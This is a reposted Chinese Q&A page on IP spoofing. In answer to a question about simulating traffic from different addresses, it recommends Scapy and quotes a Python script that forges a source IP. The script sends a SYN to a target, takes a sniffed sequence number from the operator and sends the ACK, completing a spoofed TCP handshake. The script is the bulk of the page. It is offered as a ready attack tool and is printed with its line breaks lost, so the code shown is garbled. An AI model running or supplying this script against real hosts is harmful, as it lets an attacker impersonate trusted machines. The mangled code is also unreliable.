有没有一个Python库可以模拟来自不同地址的网络流量

有没有一个Python库可以模拟来自不同地址的网络流量,第1张

有没有一个Python库可以模拟来自不同地址的网络流量

您可以使用Scapy库来欺骗IP地址。

这是Packet
Wizardry
的一个示例:使用Python统治网络:

#!/usr/bin/env pythonimport sysfrom scapy import *conf.verb=0if len(sys.argv) != 4:    print "Usage: ./spoof.py <target> <spoofed_ip> <port>"    sys.exit(1)target = sys.argv[1]spoofed_ip = sys.argv[2]port = int(sys.argv[3])p1=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='S')send(p1)print "Okay, SYN sent. Enter the sniffed sequence number now: "seq=sys.stdin.readline()print "Okay, using sequence number " + seqseq=int(seq[:-1])p2=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='A',    ack=seq+1,seq=1)send(p2)print "Okay, final ACK sent. Check netstat on your target :-)"


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/5667023.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-16
下一篇 2022-12-16

发表评论

登录后才能评论

评论列表(0条)

保存